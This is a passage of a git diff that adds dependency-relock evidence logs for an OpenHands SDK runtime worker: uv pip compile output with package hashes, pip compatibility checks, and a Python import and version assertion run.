--hash=sha256:ba440ae430c00eee41509353628600212112cd5018d5def7e9b05ea7ac34eb65 \ + --hash=sha256:bca03b91c323036913993ff5c738d0842fc9c60c4648e5c8d98331526df89784 \ + --hash=sha256:bebf8557577d4401ba8bd9ff33906f1376c877aa78d1fe216ad01b4d6745af71 \ + --hash=sha256:bec03d0d388060058f5d291a813f21c011041938a441c593374da6077fe21b1b \ + --hash=sha256:bf4a21e58b9cde0e401e683ebd00f6ed30a06d14e93f7c8fd059f8b6e8f87b6a \ + --hash=sha256:c0232bce2170103ec23c454e54a57008a9a72b5d1c3105dc2496750da8cfa47c \ + --hash=sha256:c4647674b6150d2cae088fc07de2738a84b8bcedebef29802cf0b0a82ab6face \ + --hash=sha256:c7044802eec4524fde550afc28edda0dd5784c4c45f0be151a2d3ba017daca7d \ + --hash=sha256:c7bd6683587567e5a49ee6e336e0612bec8329be1b7d4c8af5687dcdeb67ee1e \ + --hash=sha256:ca1f59c4e1ab6e72f0a23c13fca5430f889634166be85dbf1013683e49e3278e \ + --hash=sha256:cb95a9b1adaa48e41815a55ae740cfda005758104049a640a398120bf02515ca \ + --hash=sha256:cfebc0ac8333520d2d0423cbbe43ae43c8838862ddb898f5ca68565e395516e9 \ + --hash=sha256:d332fc2e3c94dad927f2112395772a4e4fedbcf8f80efc21ed7cdfae4d574fdb \ + --hash=sha256:d3e32536234a95f513bd374e93d717cf6b2231a791758de6c509e3653f234c95 \ + --hash=sha256:d5372ca1df0f91a86b047d1277c2aaf1edb32d78bbcefffc81b40ffd18f027ed \ + --hash=sha256:d77e1b2c6d04711478cb1c4ab90db07f1609ccf06a287d5607fcd90dc9863acf \ + --hash=sha256:d947071e6ebcf2e2bee8fce76e10faca8f7a14808ca36a910263acaacef08eca \ + --hash=sha256:dd7afd3f8b0bfb4e0d9fc3c31bfe8a4ec7debe124cfd90619305def3c8ca8cd2 \ + --hash=sha256:de6b9a04c606978fdfe72666fa216ffcf2d1a9f6a381058d4378f8d7b1e5de62 \ + --hash=sha256:e1651bf8e0398574646744c1885a41198eba53dc8a9312b954073f845c90a8df \ + --hash=sha256:e1b329cb8146d7b736677a2440e422eadd775d1806a81db2d4cded80a48efc1a \ + --hash=sha256:e1b51bebd221006d3d2f95fbe124b22b247136647ae5dcc8c7acafba66e5ee67 \ + --hash=sha256:e340382d1afa5d32b892b3ff062436d592ec3d692aeea3bef3a5cfe11bbf8c6f \ + --hash=sha256:e4b582bab49ac33c8deb97e058cd67c2c50dac0dd134874106d9c774fd272529 \ + --hash=sha256:e51ac5435758ba97ad69617e13233da53908beccc6cfcd6c34bbed8dcbede486 \ + --hash=sha256:e5542339dcf2747135c5c85f68680353d5cb9ffd741c0f2e8d832d054d41f35a \ + --hash=sha256:e6438cc8f23a9c1478633d216b16104a586b9761db62bfacb6425bac0a36679e \ + --hash=sha256:e81fda2fb4a07eda1a2252b216aa0df23ebcd4d584894e9612e80999a78fd95b \ + --hash=sha256:ea70f61a47f3cc93bdf8b2f368ed359ef02a01ca6393916bc8ff877427181e74 \ + --hash=sha256:ebd4549b108d732dba1d4ace67614b9545b21ece30937a63a65dd34efa19732d \ + --hash=sha256:efb07073be061c8f79d03d04139a80ba33cbd390ca8f0297aae9cce6411e4c6b \ + --hash=sha256:f0d97c18dfd9a9af4490631905a3f131a8e4c9e80a39353919e2cfed8f00aedc \ + --hash=sha256:f1e09112a2c31ffe8d80be1b0988fa6a18c5d5cad92a9ffbb1c04c91bfe52ad2 \ + --hash=sha256:f3d7a87a78d46a2e3d5b72587ac14b4c16952dd0887dbb051451eceac774411e \ + --hash=sha256:f4afb5c34f2c6fecdcc182dfcfc6af6cccf1aa923eed4d6a12e9d96904e1a0d8 \ + --hash=sha256:f6d2cb59377d99718913ad9a151030d6f83ef420a2b8f521d94609ecc106ee82 \ + --hash=sha256:f87ac53513d22240c7d59203f25cc3beac1e574c6cd681bbfd321987b69f95fd \ + --hash=sha256:ff86011bd159a9d2dfc89c34cfd8aff12875980e3bd6a39ff097887520e60249 +zipp==3.23.0 \ + --hash=sha256:071652d6115ed432f5ce1d34c336c0adfd6a884660d1e9712a256d3d3bd4b14e \ + --hash=sha256:a07157588a12518c9d4034df3fbbee09c814741a33ff63c05fa29d26a2404166 + +stderr: +Resolved 176 packages in 168ms diff --git a/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-native-imports.txt b/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-native-imports.txt new file mode 100644 index 000000000..0289e505a --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-native-imports.txt @@ -0,0 +1,22 @@ +argv: ["rtk", "proxy", "/venv/bin/python", "-c", "import sys,platform,importlib.metadata as m,jwt,urllib3; from openhands.sdk import LLM,Agent,Conversation; from openhands.tools.task import TaskToolSet; from openhands.tools.browser_use import BrowserToolSet; assert sys.implementation.name==\"cpython\" and platform.python_version()==\"3.13.15\" and platform.system()==\"Linux\" and platform.machine()==\"x86_64\"; assert m.version(\"openhands-sdk\")==m.version(\"openhands-tools\")==\"1.50.0\"; assert jwt.__version__==\"2.15.0\" and urllib3.__version__==\"2.8.0\"; print(\"CPython 3.13.15 Linux x86_64; SDK/tools 1.50.0 PyJWT 2.15.0 urllib3 2.8.0 imports passed; no model request\"); print({p:m.version(p) for p in (\"anyio\",\"click\",\"pypdf\",\"soupsieve\",\"PyJWT\",\"oauthlib\",\"urllib3\")}); print(\"jwt.__file__=\"+jwt.__file__)"] +cwd: +started_utc: 2026-09-30T17:04:36.856123+00:00 +ended_utc: 2026-09-30T17:04:45.779996+00:00 +exit_code: 0 + +stdout: +CPython 3.13.15 Linux x86_64; SDK/tools 1.50.0 PyJWT 2.15.0 urllib3 2.8.0 imports passed; no model request +{'anyio': '4.14.2', 'click': '8.5.0', 'pypdf': '6.19.0', 'soupsieve': '2.9.2', 'PyJWT': '2.15.0', 'oauthlib': '3.3.1', 'urllib3': '2.8.0'} +jwt.__file__=/venv/lib/python3.13/site-packages/jwt/__init__.py + +stderr: ++----------------------------------------------------------------------+ +| OpenHands SDK v1.50.0 | +| | +| Report a bug: github.com/OpenHands/software-agent-sdk/issues | +| Get help: openhands.dev/joinslack | +| Scale up: openhands.dev/product/sdk | +| | +| Set OPENHANDS_SUPPRESS_BANNER=1 to hide this message | ++----------------------------------------------------------------------+ + diff --git a/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-native-pip-check-after-test-tools.txt b/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-native-pip-check-after-test-tools.txt new file mode 100644 index 000000000..754a80d58 --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-native-pip-check-after-test-tools.txt @@ -0,0 +1,12 @@ +argv: ["rtk", "proxy", "uv", "pip", "check", "--python", "/venv/bin/python"] +cwd: +started_utc: 2026-09-30T17:17:48.022326+00:00 +ended_utc: 2026-09-30T17:17:48.073740+00:00 +exit_code: 0 + +stdout: + +stderr: +Using Python 3.13.15 environment at: /venv +Checked 182 packages in 4ms +All installed packages are compatible diff --git a/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-native-pip-check.txt b/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-native-pip-check.txt new file mode 100644 index 000000000..7ccaf19ba --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-native-pip-check.txt @@ -0,0 +1,12 @@ +argv: ["rtk", "proxy", "uv", "pip", "check", "--python", "/venv/bin/python"] +cwd: +started_utc: 2026-09-30T17:04:36.814448+00:00 +ended_utc: 2026-09-30T17:04:36.855012+00:00 +exit_code: 0 + +stdout: + +stderr: +Using Python 3.13.15 environment at: /venv +Checked 178 packages in 3ms +All installed packages are compatible diff --git a/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-native-pristine-reproduction.txt b/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-native-pristine-reproduction.txt new file mode 100644 index 000000000..358ac6adc --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-native-pristine-reproduction.txt @@ -0,0 +1,3064 @@ +argv: ["rtk", "proxy", "uv", "pip", "compile", "/requirements.in", "--constraints", "/constraints.txt", "--generate-hashes", "--no-header", "--no-annotate", "--index-url", "https://pypi.org/simple", "--python-version", "3.13.15", "--python-platform", "x86_64-unknown-linux-gnu", "--exclude-newer", "7 days", "--exclude-newer-package", "litellm=2026-07-20T00:00:00Z", "--exclude-newer-package", "lmnr=2026-08-23T00:00:00Z", "--output-file", "/reproduced.lock"] +cwd: /source-repro/software-agent-sdk-dcf401af7a9a302ef92cb7d092e1df9bb659daa5 +started_utc: 2026-09-30T17:02:27.536571+00:00 +ended_utc: 2026-09-30T17:02:27.599262+00:00 +exit_code: 0 + +stdout: +agent-client-protocol==0.12.1 \ + --hash=sha256:9963ccb590ed96d7dc542c9c023e90676fc76b1c6562e21a9ee112f4fbcb0095 \ + --hash=sha256:aaf3cc301ed87d9e2c4ccb91adfe1cd58784355f6ce7e513f50e7ca2391862ef +aiofile==3.9.0 \ + --hash=sha256:ce2f6c1571538cbdfa0143b04e16b208ecb0e9cb4148e528af8a640ed51cc8aa \ + --hash=sha256:e5ad718bb148b265b6df1b3752c4d1d83024b93da9bd599df74b9d9ffcf7919b +aiofiles==25.1.0 \ + --hash=sha256:a8d728f0a29de45dc521f18f07297428d56992a742f0cd2701ba86e44d23d5b2 \ + --hash=sha256:abe311e527c862958650f9438e859c1fa7568a141b22abcd015e120e86a85695 +aiohappyeyeballs==2.6.1 \ + --hash=sha256:c3f9d0113123803ccadfdf3f0faa505bc78e6a72d1cc4806cbd719826e943558 \ + --hash=sha256:f349ba8f4b75cb25c99c5c2d84e997e485204d2902a9597802b0371f09331fb8 +aiohttp==3.14.3 \ + --hash=sha256:03cd2bde3d7f085b64e549c985f4bb928cad7e8ecf5323bfca320db548d81b39 \ + --hash=sha256:041badb8f84396357c4d3ad26de6afd7a32b112f43d3c63045c0c8278cfd2043 \ + --hash=sha256:0a5ff2dfbb9ce645fa5b8ef3e02c6c0b9cc3f6030ff863d0c51fffc50cb5541b \ + --hash=sha256:0fdea2281997af69da84c77ffa6f5938a0285f21fb3887c249d67419ca865b3d \ + --hash=sha256:11fb37ef075669eee52ab1928fbf6e1741fada40409fa309ebde9607a962aebf \ + --hash=sha256:134ac5ddcf61c6fad984b9a5727d83492ada43d63471db20fb73042c13fca62f \ + --hash=sha256:152516815ef926786a0b6ae2b8f1fd2e0c71582dee0b435636865316fd4891b7 \ + --hash=sha256:1576145bdceeb92382d899751e12743a3a5b8e460a841e3e50543859e54864dc \ + --hash=sha256:16100ad3ab8d649fdfbee87602d9d2dcdca9df0b9eda8a1b5fdc0d41f96da559 \ + --hash=sha256:16ea7e24c309fb7c0bbd505d149abe4fe4dccfb8db911db7dbec0921bc889a6f \ + --hash=sha256:18c441d0a8fca6de8d1f546849b9f0ab20d435993e2c5b59562b2fae6be2f929 \ + --hash=sha256:18cb43369747b2ae007bd2655fb8e63a099c2ff1d207962943636dac989b3147 \ + --hash=sha256:1b59533861b70a2185c8f4f350f791f39d64358ef6944ce71c5240c9ec0982c9 \ + --hash=sha256:1c5281acc88b92396f88c7e1e2748f8466689df22b80170e4f51efa712fb47a8 \ + --hash=sha256:1c5ec8fb1bcc31a8466f74aaf26c345d5c386fa4bd08a3f0eb9c7a4a3fe8b5bf \ + --hash=sha256:1caa7b0d05f3e3a36f87788c59e970a7ee1cefcfcbb924a9f138c4a6551c9cb7 \ + --hash=sha256:21c016079415ed3fd676963e9793700a566d85dbbd6bfc564b9b2d209147dcc8 \ + --hash=sha256:2498f0fe69ead802f9675beca44a7c21c62fdaa4ec5145ea1c3ad6edbee29f85 \ + --hash=sha256:25bd2708db6bdf6a6630dd37bdcdfcb47c4434d22ac69c64665b802910140b30 \ + --hash=sha256:270d3dace9ca2f10f0da5d8ebe519b7a310fc6112ed916e32df5866df0888553 \ + --hash=sha256:2e1161602f45a54de2ce0905243a95f58cb42dcd378402f3697f5e0b21e9d2e7 \ + --hash=sha256:2e9878ae68e4a5f1c0abe4dd497dbc3d51946f5837b56759e2a02e78fa90ef86 \ + --hash=sha256:30402d03a7c0ff52bce290b57e564e9079fd9d0cb545c8aba73f86a103162d2e \ + --hash=sha256:33a2d7c28d33797a2e99923dffa63f83d908a19b6bf26cfe80fa790aa5e1a75a \ + --hash=sha256:362a3fd481769cac1a824514bcd86fda51c65e8fe6e051099e008fddde6db17c \ + --hash=sha256:38901a84da3ce22249f6e860bf8f90d141bcab7da090cc398f8bb58c0e44b7da \ + --hash=sha256:39aded8c7f3b935b54aab1d8d73c70ec0ee2d3ec3b943e0e86611bc150ba47f5 \ + --hash=sha256:3a26434dafe408229ff3403458ca58de24fb51936504decac49ce6755f77e59d \ + --hash=sha256:3ae5b3a59436d089b5395d910121a390feed4d00578eb95a0fd1a329fe963100 \ + --hash=sha256:3d4f72af88ac2474bb5bca640030320e3d38a0163a1d7533500e87be458eef71 \ + --hash=sha256:3f42e9b78301f11c8f861746175d8b9c1ccef713fcad9eab396e2f6db8ed4a22 \ + --hash=sha256:42a67efc36300d052fb4508a53e8b6901b9284b599ae63945c377569c5fcc1e1 \ + --hash=sha256:48d67b87db6279c044760787eb01f6413032c2e6f3ba1cafaa492b1c8e578479 \ + --hash=sha256:498c6c623134f8e09a3c4e60bcd607a0b4590dd7dbf08dd40851b27cbb520ccb \ + --hash=sha256:49f7325beb0f85ef4aef5f48f490269575f83e6e2acad00a1d80b807eb027062 \ + --hash=sha256:4e3ac92d90e92773b2362d506068e9a948192bd553e743c5b2429e28527c8661 \ + --hash=sha256:530125ee1163c4219af35dc3aa1206e541e7b31b6efc1a3f93b70a136f65d427 \ + --hash=sha256:5373dc80ad1aa2fb9ad95c83f24eef418bbda3a61375f128e5b0192e4f3f9b32 \ + --hash=sha256:53e5179d8abb5710f8e83ba207c41c8d1261fcffd4616500e15ca2b7a33be10a \ + --hash=sha256:53e7b4ce82b54a8bcc71b3b67a5cbd177ca1d7f592cbc92cd38b7349f73482db \ + --hash=sha256:543906c127fb1d929b95076db19b83fa2d46751006ff1e23b093aa5ac4d8db42 \ + --hash=sha256:54cfcdee2770dac994417cbb0ee1f3eb0e7cb6b30c79bf44f2c02ff79ec5124a \ + --hash=sha256:55bdcc472aafe2de4a253045cc128007a64f1e0264fb675791e132ea5edaa3bd \ + --hash=sha256:56f355e79f71aef2a85c80305cc915f894b170dba76de5fe84f6351939b83c06 \ + --hash=sha256:5895ef58c4620afe02fa16044f023dc4dafec08158f9d08874a46a7dbc0341b8 \ + --hash=sha256:5bcb6ff3fdab1258a192679ff1a05d44f59626430aa05cd1a9d2447423599228 \ + --hash=sha256:5f08ec777f35ee70720233b8b9811d3bb5d728137f30ac91b7457709c3261ac0 \ + --hash=sha256:614c61d478b83953e261d02bb2df750f17227cd33ef8002945bf5aebbde21919 \ + --hash=sha256:617105e2c3018ee38d0c8ce5ee3c84f621a6d8b9f723202aacaff28449ca91ee \ + --hash=sha256:6debfa7312ff9d4c124dc71d72e9a0a4b9e0879e48ba6fcb42bef5c3300289e2 \ + --hash=sha256:7041d52c3a7fa20c9e8c182b534704abb19502c8bdcbde7ab23bfda6f642394f \ + --hash=sha256:70c987b27534f9ae1a723f47ae921571d616da21d3208282bf4c52af5164ac43 \ + --hash=sha256:74ab5b6a9fb13e873e5a90946588baecaf488745e1db1a4a5c433f971f035098 \ + --hash=sha256:78253b573e6ffab5028924fc98bc281aae05445969982a10864bc360dea2016c \ + --hash=sha256:7a75aa63cbf9b21cfaf60dc2657e19df2c2867d91707d653fee171ffeedd1371 \ + --hash=sha256:8800c996b01c2772a783e3e46f3e1abd5823029adca0df54231960de9bfefa5b \ + --hash=sha256:89176250f686cb9853c0fb7ead90e639e915b84a6f43eedc2a4e7ec21f1037f0 \ + --hash=sha256:8a5fd34f7f7410d1730d5c2ba873cacb2eed3fede366feb268a70ba22581ed8f \ + --hash=sha256:8b3b60de05f3dcb6f6a00f818bb2ec781cee4de0645f59ccaf99b1d1823b6100 \ + --hash=sha256:8f2f1c4c032c7cedd7d8da6f54c97b70266c6570c3108d3fdffee7188bb70529 \ + --hash=sha256:9491196535a88924a60afd5b5f434b5b203b6cc616250878dbdb223a8f7844bc \ + --hash=sha256:9aa6e61fdf20105c4144e755bd586008ff450791d67b1c8146fdc15959c4d51c \ + --hash=sha256:9d9edccfe496b476db5f398d97b865e9a6752bcf8aec4eef8390ce20fb64bb41 \ + --hash=sha256:9fc7b5bfec6573f3ae844f457fdde5adeb713f8b8e4a81ad64fc207b49383716 \ + --hash=sha256:a0dc483c00da8b673abbb367eb6f8d8f4bcec30eb58529ea13cb42e7fd2dfa33 \ + --hash=sha256:a3a8296e7ab5c295f53f1041487cb088e1480775aafbf7fe545d93b770a0f96f \ + --hash=sha256:a3e22975f905b89a55a488c2a08f2fdb2186175349e917d48985cc468a3d4c6e \ + --hash=sha256:a4af35c443e0b1a1bd6a8af3f3485d7fda15c142751a00f3ff8090f0b93346fa \ + --hash=sha256:a94dbaae5ae27bd849c93570669bff91e0510f33a80805738e3de72a7be0447b \ + --hash=sha256:ac74facc01463f138b0da5580329cfcc82818dea5656e83ddcd11268fc12ff80 \ + --hash=sha256:ad4c8b7488d745d2ca4838ebd8ae5ba9b56341d30b1da43640e4ce87f9f49646 \ + --hash=sha256:b014a6ed7cf912e787149fdc529166d3ceabac23f26efeea3158c9aba2354e7e \ + --hash=sha256:b20032766aedf6261c7a566585a40867d092ac03a0d81592d5370ef9b054f99b \ + --hash=sha256:b2466434105a4e03113c36ec775cc2ebe6676b62eae326fa670bb607ef788c1c \ + --hash=sha256:b304db572b4368edd8dda8a2274f73156fe15558fca4a917cb8a09fc47af5963 \ + --hash=sha256:ba59d59aba08ac02fc03b0c8983ccd5ee39a199d0552ce9e6d2b4845b34d59ae \ + --hash=sha256:bd52f811e65f6fb634b1047159657c98f52b407f8efec907bcfc09da9a4c0a25 \ + --hash=sha256:bdd0e2834dce1a26c1bbe26464861e16bbe217042cbff619247c11594472518c \ + --hash=sha256:c23ec8ee9d5ab2f5421f9c7fffce208435607af27fd46d4a44e031954352838f \ + --hash=sha256:c39846c3aad97a8530c89d7a3869a8f8e9e3762c6ac0504481e5c80948f7e807 \ + --hash=sha256:c3c200cf9757edd785051dc699c7ecbec22110dbfcb3fefc7a9f9695eda8ea7a \ + --hash=sha256:c7d3a97c678d34fc5b59da671ee9cd630096ddc643e7b5a30d54a2a6f3574d3f \ + --hash=sha256:c8653fd547c93a61aadc612007790f5555cdd18946fa48cf45e26d8ea4ea473d \ + --hash=sha256:cc7cb243a68167172f48c1fd43cee91ec4b1d40cefd190edd43369d1a6bc9c82 \ + --hash=sha256:ccd4893707b3e2a13e39c90d43cf80edf2e4d0457935bcc103bf2346214c3f15 \ + --hash=sha256:cd817772b2fcf2b8c0905795318485f9ec16eae60b29feb7f4c77085311637f0 \ + --hash=sha256:cda5fd5c95ad7a125a2e8464acc78b98b94c475a3780d6aa0aa157c93f470f4d \ + --hash=sha256:cef89a58e628c4efcac3275c2d68083f82426dcdc89c1492a6f654f9f7ea6ab9 \ + --hash=sha256:d1558173930a5a8d3069cee5c92fc91c87c4dbcb099debbb3622053717145a19 \ + --hash=sha256:d6088ec9894113802bddb3c09e974929aed2c7b3a8c456219b8aab4481f1a239 \ + --hash=sha256:d6218d92e450824e9b4881f44e8c09f1853b490f9a64130801024a4793b1b3b0 \ + --hash=sha256:d77640cc618c1d99fc4f8589c0f24a730adfa54eb1e57ef7bf0c8dfb78da898c \ + --hash=sha256:d7d2deec16eeedf55f2c7cf75b521ea3856a5177e123844f8fd0f114ce252cb5 \ + --hash=sha256:db332af25642007330fca8be5c4d194caf2bea7a7fc84415aff3497af5dfee6b \ + --hash=sha256:dd54d0e8717de95939766febac482ac0474d8ac3b048115f9f2b1d23a16e7db4 \ + --hash=sha256:ddcac3c6b382e81f1dd0499199d4136b877beb4cb5ef770bbbfba56c4b8f55d2 \ + --hash=sha256:df82f3787c940c94986b34222d59c9e38843fba85139f36e85255a82ad5355a9 \ + --hash=sha256:dfa68deb2a443bdaa3ea5297b0699c1464f08aef3812b486d1348eee61b07dc0 \ + --hash=sha256:dff9461ec275f22135650d5ba4b4931a11f3958df7dfbb8db630000d4dee0883 \ + --hash=sha256:e1e74298bab6ee0d6e749ed4fd1901c7e604bdda32c03d787a2cc71c46d0433d \ + --hash=sha256:e2667f0bbe7eb6c74eae5e9691441ad186e5845ca3cff63230fc09c4e7514f5d \ + --hash=sha256:e3be98a7c30b8c25d573dafba7171d66dfb05ee6a9070fc46535464ff97700a6 \ + --hash=sha256:e568e14940c09955aa51f4e645b6daa18a581c5dcfcd73744dcc86a856e3ced3 \ + --hash=sha256:e72ee89e28d907a18f46959b4eb0bb06701cc7f8cf4366e00029e2ccfaaf5924 \ + --hash=sha256:e92eb8acc45eb6a9f4935071a77edf5b85cc6f8dfad5cd99e97653c26593cdde \ + --hash=sha256:ea05e1f97ceea523942d9b2a7d7c0359d781d683d6b043f5943a602b14da4787 \ + --hash=sha256:eac645b09bcfdf73df7536331f0678c1086ea250981118ddb5199e17ccef72bb \ + --hash=sha256:eb0495d778817619273c108784292be161a924b9f5ae5cbbc70a2caa6838250b \ + --hash=sha256:ebe8e504f058fe91223351cecd2d9d6946c9d241bb0250d898ffbdf584cc72b0 \ + --hash=sha256:ed099d105449c4f9e84f24af203cd131349d4761d8813fa7e02c32e7128cd910 \ + --hash=sha256:f0f177d1b195b9e06376cfd7d308d8a1b920909a609d03ac82a8c73bbb16d3b9 \ + --hash=sha256:f3d2669fe7dec7fc359ecdb5984b29b50d85d5d00f8c1cb61de4f4a24ee42627 \ + --hash=sha256:f4e05329faa0ea1a404b37de4f034fd2c2defcca06a68dc6745e4e56c88e8a48 \ + --hash=sha256:f53bcd52f585e1ac3e590d61434eb61f9a88c38df041b4ea126d97144344a77b \ + --hash=sha256:f55119f7bf25f49ed210f6096090715da24f2943c62102448915fde3c62877ce \ + --hash=sha256:f631fe87a6f30df5fbe6d79640b25e4cffb38c31c7fb6f10871517b84b0f8c1a \ + --hash=sha256:f8fb78a83c9e5f741ca3a68cfb455c1f5bb83b4e7249a3848b3cd78d0a8563b0 \ + --hash=sha256:fa9467a8113aa69d3d7c55a70ef0b7c636010a40993f3df9d9d0d73b3eb7ef24 \ + --hash=sha256:fd51ebf9d3a00c074df4ede271023f4d2dba289bcc740b88191872716014e3c5 +aiosignal==1.4.0 \ + --hash=sha256:053243f8b92b990551949e63930a839ff0cf0b0ebbe0597b0f3fb19e1a0fe82e \ + --hash=sha256:f47eecd9468083c2029cc99945502cb7708b082c232f9aca65da147157b251c7 +annotated-types==0.7.0 \ + --hash=sha256:1f02e8b43a8fbbc3f3e0d4f0f4bfc8131bcb4eebe8849b8e5c773f3a1c582a53 \ + --hash=sha256:aff07c09a53a08bc8cfccb9c85b05f1aa9a2a6f23728d790723543408344ce89 +anthropic==0.75.0 \ + --hash=sha256:e8607422f4ab616db2ea5baacc215dd5f028da99ce2f022e33c7c535b29f3dfb \ + --hash=sha256:ea8317271b6c15d80225a9f3c670152746e88805a7a61e14d4a374577164965b +anyio==4.14.2 \ + --hash=sha256:9f505dda5ac9f0c8309b5e8bd445a8c2bf7246f3ce950121e45ea15bc41d1494 \ + --hash=sha256:cfa139f3ed1a23ee8f88a145ddb5ac7605b8bbfd8592baacd7ce3d8bb4313c7f +attrs==25.3.0 \ + --hash=sha256:427318ce031701fea540783410126f03899a97ffc6f61596ad581ac2e40e3bc3 \ + --hash=sha256:75d7cefc7fb576747b2c81b4442d4d4a1ce0900973527c011d1030fd3bf4af1b +authlib==1.6.12 \ + --hash=sha256:0656d8482f28fc8221929d5f35b2bde5d13e10555ebc06b4561b0d622e83b1bd \ + --hash=sha256:e9229ad7fde610b139dd12f5edbe97eab9ee78bfb85691247e767727850b99ab +backoff==2.2.1 \ + --hash=sha256:03f829f5bb1923180821643f8753b0502c3b682293992485b0eef2807afa5cba \ + --hash=sha256:63579f9a0628e06278f7e47b7d7d5b6ce20dc65c5e96a6f3ca99a6adca0396e8 +beartype==0.22.9 \ + --hash=sha256:8f82b54aa723a2848a56008d18875f91c1db02c32ef6a62319a002e3e25a975f \ + --hash=sha256:d16c9bbc61ea14637596c5f6fbff2ee99cbe3573e46a716401734ef50c3060c2 +beautifulsoup4==4.14.2 \ + --hash=sha256:2a98ab9f944a11acee9cc848508ec28d9228abfd522ef0fad6a02a72e0ded69e \ + --hash=sha256:5ef6fa3a8cbece8488d66985560f97ed091e22bbc4e9c2338508a9d5de6d4515 +binaryornot==0.4.4 \ + --hash=sha256:359501dfc9d40632edc9fac890e19542db1a287bbcfa58175b66658392018061 \ + --hash=sha256:b8b71173c917bddcd2c16070412e369c3ed7f0528926f70cac18a6c97fd563e4 +blake3==1.0.9 \ + --hash=sha256:01e136de1078a9011c82beb4a1cb400644794068c0e80877415328bb46d93b47 \ + --hash=sha256:021309d760b390706fecf13498f9a25aa8f689bbb65a0896029b8fa223aae18b \ + --hash=sha256:09a69fcedf06785bb81d4d3d39f95ee65dbaf2cb246e174cfc9ff64d027f7551 \ + --hash=sha256:09deb024cd75cb200e7f647cd038800e6edc8f190c8188e0c69ec1c2b920e125 \ + --hash=sha256:0aba416bb2e3ef0c65e74d5eba21062483c714cd78e7e303c9d03c547fc7d015 \ + --hash=sha256:0cdfeff65488089ef86f7587c76055ff72b28d28d10e427b547f5711477c376d \ + --hash=sha256:128a62136c9a39c7cb9fdaa5fb38471f2418853da7f5a89f31495735d0ba6f2c \ + --hash=sha256:15566065ff90ab3da46ec0be1417406f00507af902b6fb0fbc6563e77f02fc42 \ + --hash=sha256:172d44245a19dfec08ab771c1b7a506b97783163cdc65f559fe020007e403c99 \ + --hash=sha256:188127f98106309e4c477977d29ee8588ba4b153ea5a7eb9bc202d5b9f05d0f9 \ + --hash=sha256:1bbdff61e049297ef3180867ce1f079cea7e5b372fd76953c3183da5b8124206 \ + --hash=sha256:1bd981dc318c05375c3160a99df493b7cc4c83fffa1a34d14b18a071b47b262b \ + --hash=sha256:1ff480ca2bee74f56d90658a44176f0abdd9b766a181586b995fee358a9c40e7 \ + --hash=sha256:216977b1d592a60150cd5de64d5853dc6afb0eb522cb387723ae7f78f380d947 \ + --hash=sha256:249e5964fa9e768924bc7cc3d4efe75a425bb5dd3fb7671c3eda8eeddfa50591 \ + --hash=sha256:24acb1e6f31021fa08b7eb31433035facfcf0d82e964170d5eb85a30ce913ba9 \ + --hash=sha256:28404301de485e9546365d01b30f65eaa835520c4211d6ef61242975b6722b60 \ + --hash=sha256:28528d1f29e6f3d45faf3482e1197e5e175730eef38bdc74e56ee11b68e0ad0d \ + --hash=sha256:2a800b87433955f37691b5f361ad29c7dd3ee089c9cd109adc5aea8e24bc4c1f \ + --hash=sha256:2ee96daaa850700fd342a811fa10a8780fd2e8464a71b83a1779c7b6becd3dd5 \ + --hash=sha256:2f4ce45da903f3d0a7e342fa70c7cce9c10cef6b529eadb4d6213be0ab0eaf84 \ + --hash=sha256:2fd000708662b04be211a22c1095b65fe399d7276e9f3bb2fd1ef8aacc545791 \ + --hash=sha256:2fff822c0a14b1378769f26eede9577e1230b289fa9a2e9d15c751b6d5a81cd5 \ + --hash=sha256:32bd4521ec2d477627ad93eb70f9ac4d01e12d1489024159bcaeff79466332f6 \ + --hash=sha256:34c947a95a68ec103846525e3a99193f9fcf5e762e40dcce80adbb8e398abef7 \ + --hash=sha256:38e61d3b0386af16b3c03a18e0db82b626d63796274637a1fef855fd1c778d82 \ + --hash=sha256:3cbe7f190164896dc3908e920716ee66bc31d40f1a0fb603ed59ac53290fb9cf \ + --hash=sha256:40bcc18675d583e23722d6c106ea3068ba705f7575f874c1ca14a6af0728ccb6 \ + --hash=sha256:42609e4adc4b2d7423137f2cb35135bca598b925c5af09d2bc0a2c368b25aeb1 \ + --hash=sha256:42fa57bf462285ef16400601b0fd32214c248ba92505bbb94b1221ab9af5a092 \ + --hash=sha256:4865a8cfb2b3d7c0baf5267f2fa6816a3384e836cd1bd0caf359f406cb1e8fba \ + --hash=sha256:4c9a8b093d0e57a9fb612dac768b329a0719c09357e7ce1e5403106a7533b5ef \ + --hash=sha256:508ccaf8f9377cc47e6026c2897fdc37de61faeb1420dc023b6379cc2474eb65 \ + --hash=sha256:54e35f3b71d5e2f5b1434a01f44cf386be2ff3dcd0ed6589eeb52a0076b2e016 \ + --hash=sha256:5b35abe24a66a7b3db423eb4f8668ed7be1a362aa9c0024ab6483ec0b2c16058 \ + --hash=sha256:5ea0c60dd9c1e3d05610606579e4bf80f562854c46ed55f9ee8545e18987a480 \ + --hash=sha256:5fa374fa5070ca084368776c19b420157eb0f2d3f091343d6bc59189929d62e2 \ + --hash=sha256:65c0c20014df687694af5ccf0cec3bdb194511da8ebd50c30b0fd55c83fa4fd5 \ + --hash=sha256:66aa1c40ad019fbb5e93d603300c4478a59b98c40c7ea13ac036676c26dfb1c7 \ + --hash=sha256:66c84dbc2a31eda88b55bbf5c5b711037bf0698eba0fd1faf06bdaf313c39048 \ + --hash=sha256:6879739e7904b9c42afbedbcc2e8c36cebe140fb3fc3f5c492993579cf5cd516 \ + --hash=sha256:689a7e4069de681d9c5d9445b8b6473ee880ad04d7960a6789c60bd788980250 \ + --hash=sha256:69ff5aebc7650954443aa701feff2028d7c7ea5b5e18ee265f15e2104e892328 \ + --hash=sha256:6c99afb0459c82dd13e456b6b68d45c4768b539ca998dacd3ed726f1e75e91dc \ + --hash=sha256:6edeb3d49a24c307995899b70dd47aa901d0e9ad51d2f8a79aba4f074f32d8c5 \ + 